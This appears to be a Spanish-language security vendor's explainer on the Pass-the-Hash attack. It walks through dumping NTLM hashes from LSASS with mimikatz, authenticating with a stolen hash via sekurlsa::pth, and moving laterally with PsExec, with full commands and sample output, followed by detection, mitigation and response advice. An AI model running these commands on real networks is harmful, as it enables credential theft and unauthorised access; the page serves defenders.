Ataque de Pass the Hash
Una vez que un adversario ha logrado infiltrarse en la red, sus tácticas cambian a comprometer sistemas adicionales y obtener los privilegios que necesitan para completar su misión. Pass-the-Hash es una técnica de robo de credenciales y movimiento lateral en la que un atacante abusa del protocolo de autenticación NTLM para autenticarse como un usuario sin obtener nunca la contraseña en texto plano de la cuenta. Dado que el atacante utiliza el hash de la contraseña, que normalmente solo cambia cuando la propia contraseña se cambia, el adversario tiene un tiempo significativo para abusar de la cuenta comprometida.
Resumen de amenazas
Objetivo: endpoints de Windows habilitados para LM y NTLM
Herramientas: mimikatz, Cobalt Strike, Empire, Invoke-TheHash, Metasploit
Táctica ATT&CK®: Evasión de Defensa, Movimiento Lateral
Técnica ATT&CK: T1550.002
Dificultad
Detección: Hard
Mitigación: Difícil
Respuesta: Media
Tutorial de ataque: Cómo funciona un ataque de Pass the Hash
PASO 1: Robar los hashes de contraseñas
Un adversario que ha logrado infiltrarse en una red puede utilizar varios métodos para obtener los hashes de contraseñas, incluyendo ataques de DCSync y la extracción de hashes del archivo NTDS.dit. Otro método, mostrado a continuación, es extraer los hashes de contraseñas de la memoria del proceso LSASS.exe, que almacena los hashes para usuarios con sesiones activas en el ordenador. Cabe destacar que esta técnica requiere que el adversario haya comprometido los privilegios administrativos del ordenador (por ejemplo, al persuadir a un usuario que es administrador en la estación de trabajo para que abra un correo electrónico de phishing).
PS> .\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"
Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session: RemoteInteractive from 2
User Name: joed
Domain: DOMAIN
Logon Server: DC1
Logon Time: 09/07/2020 10:31:19
SID: S-1-5-21-3501040295-3816137123-30697657-1109
msv :
[00000003] Primary
* Username : joed
* Domain: DOMAIN
* NTLM: eed224b4784bb040aab50b8856fe9f02
* SHA1: 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b
* DPAPI: e75e04767f812723a24f7e6d91840c1d
tspkg :
wdigest :
* Username : joed
* Domain: DOMAIN
* Password : (null)
kerberos :
* Username : joed
* Domain: domain.com
* Password : (null)
ssp :
credman :
PASO 2: Autenticarse utilizando un hash de contraseña robado
A continuación, el adversario utiliza uno de los hashes de contraseña robados para autenticarse como usuario utilizando la técnica Pass the Hash. El ejemplo a continuación demuestra el uso del hash de contraseña robado para lanzar cmd.exe; también es posible pasar el hash directamente a través de la red a cualquier recurso accesible que permita la autenticación NTLM.
Para pasar el hash utilizando mimikatz sekurlsa::pth, se especifican los siguientes parámetros:
/user: — The compromised user’s username
/domain: — The FQDN of the domain (if using a domain account) or “.” (if using a local account)
/ntlm:, /aes128: or /aes256: — The stolen NTLM, AES-128 or AES-256 password hash
PS> .\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02"
user: JoeD
domain: domain.com
program : cmd.exe
impers. : no
NTLM: eed224b4784bb040aab50b8856fe9f02
| PID11560
|TID10044
|LSA Process is now R/W
|LUID 0 ; 58143370 (00000000:0377328a)
\_ msv1_0- data copy @ 000001AE3DDE8A30 : OK !
\_ kerberos - data copy @ 000001AE3DECE9E8
\_ aes256_hmac-> null
\_ aes128_hmac-> null
\_ rc4_hmac_ntOK
\_ rc4_hmac_oldOK
\_ rc4_md4OK
\_ rc4_hmac_nt_expOK
\_ rc4_hmac_old_expOK
\_ *Password replace @ 000001AE3DFEC428 (32) -> null
# New CMD Window Opens
PASO 3: Acceder a otros recursos
Finalmente, el adversario puede usar los privilegios recién adquiridos para avanzar en sus objetivos. El ejemplo a continuación muestra cómo pueden usar la herramienta PSExec para ejecutar comandos en sistemas remotos con el fin de expandir su huella y repetir el ciclo de robo de credenciales y movimiento lateral en un número cada vez mayor de sistemas.
PS> .\PSExec.exe \\server1 cmd.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
server1
Detectar, Mitigar y Responder
Detectar
Dificultad: Difícil
Debido a que la autenticación NTLM es procesada por cada estación de trabajo y servidor, el ataque de pass-the-hash puede ser un desafío para las organizaciones detectar, ya que cada punto final necesita ser monitoreado por actividad sospechosa.
- Monitoree las autenticaciones NTLM (particularmente para conexiones remotas) en busca de cambios en los patrones de comportamiento del usuario, por ejemplo: un usuario accediendo a un mayor número de endpoints de lo normal; o, un usuario accediendo a endpoints por primera vez.
- Para extraer hashes del proceso LSASS.exe de un endpoint, el malware necesitaría obtener un identificador con los privilegios PROCESS_VM_OPERATION y PROCESS_VM_WRITE. Las soluciones de Endpoint Detection and Response pueden monitorear los procesos que crean identificadores sospechosos.
- Extraer hashes de Active Directory requiere privilegios administrativos y el uso de otras técnicas como DCSync y extraer hashes de NTDS.dit. La detección de estas técnicas se discute en las páginas de su Catálogo de Ataques.
Mitigar
Dificultad: Difícil
Debido a que el abuso de pass-the-hash utiliza características del protocolo NTLM, no puede ser eliminado por completo. Sin embargo, existen soluciones que pueden dificultar que los adversarios comprometan los hashes o restringir su capacidad para utilizar esos hashes para moverse lateralmente.
- Habilite el Windows Defender Credential Guard de Microsoft. Introducido en Windows 10 y Windows Server 2016, Credential Guard se basa en la virtualización para proteger el almacenamiento de credenciales y solo permite el acceso a procesos de confianza.
- Elimine los privilegios de administrador de los usuarios de sus estaciones de trabajo, limitando la capacidad de los adversarios para ejecutar malware y eliminando los privilegios necesarios para extraer hashes de LSASS.exe.
- No permita que los usuarios posean privilegios administrativos en un gran número de endpoints. Esto reduce considerablemente el valor de las credenciales para un adversario que busca utilizarlas para movimiento lateral.
- No permita que los usuarios posean privilegios administrativos a través de límites de seguridad. Esto reduce considerablemente el riesgo de que una credencial comprometida pueda ser utilizada por un adversario para escalar privilegios.
- Aleatorice y almacene contraseñas de administrador local utilizando una solución como Microsoft's Local Administrator Password Solution (LAPS). Esto reduce la capacidad de un adversario para moverse lateralmente con cuentas locales que comparten la misma contraseña.
- No permita que las cuentas locales se autentiquen a través de la red. Esto reduce la capacidad de un adversario para moverse lateralmente con cuentas locales que comparten la misma contraseña. Dos nuevos SIDS conocidos fueron agregados en Windows 8.1 y Windows 2012R2 y pueden ser utilizados en políticas de grupo para este propósito. El SID S-1-5-113 se aplicará a cualquier cuenta local, mientras que el SID S-1-5-114 se aplicará a cualquier cuenta local que también sea miembro del grupo de Administradores locales.
- Agregue cuentas de dominio privilegiadas al grupo Protected Users para reducir los riesgos de robo de credenciales.
- Configure un cortafuegos basado en el host (como Windows Defender Firewall) para controlar y limitar qué hosts pueden comunicarse entre sí. Por ejemplo, en la mayoría de los entornos, las estaciones de trabajo tienen poca necesidad de comunicarse directamente con otras estaciones de trabajo. Utilizar un cortafuegos basado en el host para bloquear este tráfico puede limitar el movimiento lateral.
Responder
Dificultad: Media
Si detecta un posible uso de Pass the Hash, realice las siguientes acciones de inmediato:
- Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta.
- Restablezca la contraseña del usuario comprometido, lo que hace que el hash de la contraseña robada sea inválido.
- Ponga en cuarentena las máquinas afectadas para la investigación forense y las actividades de erradicación y recuperación. Analice los registros para determinar si esta computadora es el paciente cero o si el atacante se desplazó a esta máquina desde otro lugar, así como si el atacante se desplazó de esta máquina a otra.
Compartir en
Ver ataques de ciberseguridad relacionados
Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa
Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa
Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa
Ataque Hafnium - Cómo funciona y estrategias de defensa
Ataques DCSync explicados: Amenaza a la seguridad de Active Directory
Ataque Golden SAML
Entendiendo los ataques de Golden Ticket
Ataque de Cuentas de Servicio Administradas por Grupo
Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa
ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención
Ataque de extracción de contraseñas de NTDS.dit
Ataque de Kerberoasting – Cómo funciona y estrategias de defensa
Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa
Ataque de Password Spraying
Ataque de extracción de contraseñas en texto plano
Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación
Ataques de ransomware a Active Directory
Desbloqueando Active Directory con el ataque Skeleton Key
Movimiento lateral: Qué es, cómo funciona y prevenciones
Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos
¿Por qué es PowerShell tan popular entre los atacantes?
4 ataques a cuentas de servicio y cómo protegerse contra ellos
Cómo prevenir que los ataques de malware afecten a su negocio
¿Qué es Credential Stuffing?
Comprometiendo SQL Server con PowerUpSQL
¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?
Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)
Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos
Una mirada exhaustiva a los ataques de contraseñas y cómo detenerlos
Reconocimiento LDAP
Eludir MFA con el ataque Pass-the-Cookie
Ataque de Silver Ticket